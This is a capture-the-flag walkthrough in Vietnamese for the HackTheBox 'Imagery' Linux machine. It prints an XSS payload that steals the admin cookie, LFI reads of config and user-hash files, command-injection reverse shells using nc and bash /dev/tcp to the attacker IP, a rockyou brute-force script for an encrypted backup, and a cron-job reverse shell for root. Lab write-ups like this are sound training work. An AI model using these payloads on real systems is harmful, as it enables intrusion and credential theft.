# HTB-Imagery-Medium-Linux ![image](https://hackmd.io/_uploads/rJVRvhxVbl.png) ## Nmap ![Pasted image 20251210084709](https://hackmd.io/_uploads/Bymxlnx4-g.png) Truy cập trang web với port 8000 ta thấy được giao diện web ![Pasted image 20251210091602](https://hackmd.io/_uploads/HJyQe3eVbg.png) Ta thấy được chức năng upload, nhìn có vẻ giống như có chứa lỗ hổng ![Pasted image 20251210091709](https://hackmd.io/_uploads/BJpVeheV-l.png) Nhưng có vẻ là không, sau khi tìm một hồi thấy được bên dưới có phần Report Bug ![Pasted image 20251210091748](https://hackmd.io/_uploads/B1jSlngN-l.png) ![Pasted image 20251210091808](https://hackmd.io/_uploads/rkY8e3l4-l.png) Chúng ta hãy thử nghiệm nó với payload sau ![Pasted image 20251210115106](https://hackmd.io/_uploads/r1vKe2xEbe.png) ```javascript <img src=x onerror="document.location='http://10.10.14.6/?cookie='+document.cookie"> ``` Khởi tạo một tiến trình lắng nghe trên máy tấn công, để có thể lấy được cookie của admin thông qua lỗ hổng XSS ở phần input ![Pasted image 20251210115325](https://hackmd.io/_uploads/B1gplhlNbl.png) Thay đổi cookie vào trình duyệt ta sẽ truy cập vào được tài khoản của admin ![Pasted image 20251210115556](https://hackmd.io/_uploads/S1m0xhlEbe.png) ![Pasted image 20251210141712](https://hackmd.io/_uploads/rkSeb3xEWe.png) Dùng burpsuite để test thì phát hiện trang web có tồn tại lỗ hổng LFI Thực hiện truy cập file env của user hiện tại ![Pasted image 20251210141911](https://hackmd.io/_uploads/Hk-L-2xV-g.png) Thông tin nhận được ta có thể thấy ứng dụng được viết bằng framework Python Flask, vậy ta có thể tìm file cấu hình của nó ![Pasted image 20251210142545](https://hackmd.io/_uploads/H1ePZngNZg.png) ![Pasted image 20251210142610](https://hackmd.io/_uploads/HkKDbnlVbx.png) Thử với file khác db.json ![Pasted image 20251210142722](https://hackmd.io/_uploads/Bys_W2lV-g.png) Ta có thể thấy được mật khẩu, mã hóa này khá yếu nên có thể crack được mật khẩu: **iambatman** ![Pasted image 20251210143107](https://hackmd.io/_uploads/Byl5Zhe4-x.png) Thật ra tao thấy từ nãy đến giờ chả để làm gì cả, vì từ ban đầu tao đã đoán là có lỗ hổng ở chỗ upload rồi ![Pasted image 20251210144219](https://hackmd.io/_uploads/B1bXM3lEbe.png) Thử với chức năng crop sau đó Apply Transformation ![Pasted image 20251210144338](https://hackmd.io/_uploads/ByiXz2eV-x.png) Dùng burp để test các trường hợp thì phát hiện lỗi command injection ở biến `x` ![Pasted image 20251210145550](https://hackmd.io/_uploads/SysSz2eVWx.png) Khi truyền vào một kí tự đặc biệt cùng với câu lệnh thì server đã xử lý Thực hiện bypasss các filter ![Pasted image 20251210145832](https://hackmd.io/_uploads/ryR8M3gEZg.png) Từ đây ta sẽ khởi tạo một reveres shell ![Pasted image 20251210150630](https://hackmd.io/_uploads/H1SOG3lNZe.png) Payload: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.6 4446 >/tmp/f` Sau một hồi tìm kiếm thì không thấy có file nào khả thi, cuối cùng cũng có một file ![Pasted image 20251210151031](https://hackmd.io/_uploads/S195M2eEWe.png) Thực hiện lưu về máy ![Pasted image 20251210151336](https://hackmd.io/_uploads/SJajM2gEbe.png) ![Pasted image 20251210151555](https://hackmd.io/_uploads/H1UnG2gNWe.png) Thực hiện bruteforce password với file python sau: ```python import pyAesCrypt import sys def decrypt(encrypted_file, password): try: pyAesCrypt.decryptFile( encrypted_file, "web_20250806_120723.zip", password, 256 * 1024 ) return True except: return False # Đọc wordlist with open('/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt', 'r', encoding='latin-1') as f: for line in f: password = line.strip() print(f"Trying: {password}", end='\r') if decrypt('web_20250806_120723.zip.aes', password): print(f"\n[+] Password found: {password}") sys.exit(0) print("\n[-] Password not found") ``` Thực hiện giải mã: ![Pasted image 20251210154630](https://hackmd.io/_uploads/HJoJm3lN-g.png) ``` ┌─[au-dedivip-1]─[10.10.14.6]─[htb-mp-2134399@htb-4ui1qhgqmb]─[~/Downloads] └──╼ [★]$ pyAesCrypt -d web_20250806_120723.zip.aes -o web_20250806_120723.zip -p bestfriends Warning: passing passwords as plaintext command-line arguments may be unsafe. ┌─[au-dedivip-1]─[10.10.14.6]─[htb-mp-2134399@htb-4ui1qhgqmb]─[~/Downloads] └──╼ [★]$ ls giai_ma.py web web_20250806_120723.zip web_20250806_120723.zip.aes ┌─[au-dedivip-1]─[10.10.14.6]─[htb-mp-2134399@htb-4ui1qhgqmb]─[~/Downloads] └──╼ [★]$ cd web ┌─[au-dedivip-1]─[10.10.14.6]─[htb-mp-2134399@htb-4ui1qhgqmb]─[~/Downloads/web] └──╼ [★]$ ll total 92K -rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 9.6K Aug 5 08:56 api_admin.py -rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 6.3K Aug 5 08:56 api_auth.py -rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 12K Aug 5 08:57 api_edit.py -rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 8.9K Aug 5 08:57 api_manage.py -rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 840 Aug 5 08:58 api_misc.py -rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 12K Aug 5 08:58 api_upload.py -rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 1.9K Aug 5 15:21 app.py -rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 1.8K Aug 5 08:59 config.py -rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 1.5K Aug 6 12:07 db.json drwxr-xr-x 5 htb-mp-2134399 htb-mp-2134399 4.0K Dec 10 02:50 env drwxr-xr-x 2 htb-mp-2134399 htb-mp-2134399 4.0K Dec 10 02:50 __pycache__ drwxr-xr-x 2 htb-mp-2134399 htb-mp-2134399 4.0K Dec 10 02:50 system_logs drwxr-xr-x 2 htb-mp-2134399 htb-mp-2134399 4.0K Dec 10 02:50 templates -rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 4.0K Aug 5 09:00 utils.py ``` ``` ┌─[au-dedivip-1]─[10.10.14.6]─[htb-mp-2134399@htb-4ui1qhgqmb]─[~/Downloads/web] └──╼ [★]$ cat db.json { "users": [ { "username": "admin@imagery.htb", "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31", "displayId": "f8p10uw0", "isTestuser": false, "isAdmin": true, "failed_login_attempts": 0, "locked_until": null }, { "username": "testuser@imagery.htb", "password": "2c65c8d7bfbca32a3ed42596192384f6", "displayId": "8utz23o5", "isTestuser": true, "isAdmin": false, "failed_login_attempts": 0, "locked_until": null }, { "username": "mark@imagery.htb", "password": "01c3d2e5bdaf6134cec0a367cf53e535", "displayId": "868facaf", "isAdmin": false, "failed_login_attempts": 0, "locked_until": null, "isTestuser": false }, { "username": "web@imagery.htb", "password": "84e3c804cf1fa14306f26f9f3da177e0", "displayId": "7be291d4", "isAdmin": true, "failed_login_attempts": 0, "locked_until": null, "isTestuser": false } ], "images": [], "bug_reports": [], "image_collections": [ { "name": "My Images" }, { "name": "Unsorted" }, { "name": "Converted" }, { "name": "Transformed" } ] } ``` `python3 -c 'import pty;pty.spawn("/bin/bash")'` ![Pasted image 20251210163454](https://hackmd.io/_uploads/rJzEQnl4-e.png) su `mark` và lấy được `user flag` ## Root ![Pasted image 20251210165835](https://hackmd.io/_uploads/HyJh72eEWx.png) Thấy một công cụ, sau khi tìm cách dùng thì thấy có thể tương tác quá shell và tiêm lệnh độc hại Sử dụng câu lệnh để reset password `sudo /usr/local/bin/charcol --reset-password-to-default` Từ đó có thể truy cập vào Charcol ![Pasted image 20251210170636](https://hackmd.io/_uploads/S1UpQneV-x.png) Sau khi đọc và phân tích phần hướng dẫn của công cụ này, tôi để ý thấy phần `Automated Jobs (Cron)` cho phép chạy `--command` để đặt lịch thực hiện câu lệnh backup. Vậy thì thay bằng câu lệnh backup, tôi có thể thêm revershell vào đây. Câu lệnh như bên dưới, với `--schedule` để đặt thời gian chạy lệnh, `--command` là câu lệnh thực thi và` --name` để đặt tên cho job này, cuối cùng thêm IP của máy kali và port tùy chọn. `auto add --schedule "* * * * *" --command "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.6/7777 0>&1'" --name "RevShell"` ![Pasted image 20251210171351](https://hackmd.io/_uploads/r1hWV2gNWe.png) ![Pasted image 20251210171557](https://hackmd.io/_uploads/rJnMVhg4Wg.png) ![Pasted image 20251210171829](https://hackmd.io/_uploads/SkhXE2gN-l.png) **Flag Root:** `200c53018bee06a1cc8105bXXXXXXXXXX` ![Pasted image 20251210171911](https://hackmd.io/_uploads/r1cSVhx4Wl.png)